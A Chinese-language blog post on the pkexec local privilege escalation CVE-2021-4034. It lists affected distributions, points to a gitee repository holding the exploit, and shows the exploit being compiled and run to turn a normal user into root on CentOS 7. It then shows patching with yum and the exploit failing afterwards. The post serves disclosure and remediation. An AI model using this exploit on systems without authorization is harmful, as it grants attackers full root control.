惊爆!!!一条命令,瞬间让普通用户提权为root,赶紧修复!

漏洞概述

漏洞编号:CVE-2021-4034
漏洞威胁等级:高危

Qualys研究团队在polkit的pkexec中发现了一个内存损坏漏洞,该SUID根程序默认安装在每个主要的Linux发行版上。该漏洞非常容易利用,允许任何未经授权的用户通过在其默认配置中利用此漏洞,来获得易受攻击主机上的完全root权限。

影响范围

这个漏洞已经隐藏了13年多,自2009年5月以来的所有pkexec版本均受到影响。由于Polkit是系统预装工具,目前主流Linux版本均受影响。Linux系统广泛应用于工业基础设施、云计算物联网人工智能等领域,绝大多数关键基础设施管理服务器均使用Linux系统。

目前受影响的重要Linux发行版本:

Ubuntu 21.10 (Impish Indri) < Released (0.105-31ubuntu0.1)
Ubuntu 21.04 (Hirsute Hippo) Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) < Released (0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) < Released (0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) < Released (0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) < Released (0.105-4ubuntu3.14.04.6+esm1)
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

复现环境

]# uname -r
3.10.0-862.el7.x86_64
]# cat /etc/redhat-release 
CentOS Linux release 7.5.1804 (Core)

普通用户

# 获取exp文件:
获取`exploit.c`地址:https://gitee.com/lutixiaya/cve-2021-4034.git
[lutixia@localhost ~]$ ls
evil-so.c  exploit.c  Makefile
[lutixia@localhost ~]$ id
uid=1001(lutixia) gid=1001(lutixia) groups=1001(lutixia)

编译exp,提权为root

[lutixia@localhost ~]$ make
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
[lutixia@localhost ~]$ ls
evil.so  evil-so.c  exploit  exploit.c  Makefile
[lutixia@localhost ~]$ ./exploit 
[root@localhost lutixia]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u

惊爆!!!一条命令,瞬间让普通用户提权为root,赶紧修复!

修复

# 查看可用版本
[root@localhost ~]# yum list polkit
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
Installed Packages
polkit.x86_64               0.112-14.el7                          @anaconda
Available Packages
polkit.i686                 0.112-26.el7_9.1                       updates  
polkit.x86_64               0.112-26.el7_9.1                       updates
# 升级
~]# yum update polkit -y

验证修复

[lutixia@localhost ~]$ ls
evil.so  evil-so.c  exploit  exploit.c  Makefile
# 再次执行exp文件,提权失败!
[lutixia@localhost ~]$ ./exploit 
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>

对了,你们一直想要的Linux命令大全查询网站已经上线了,欢迎使用。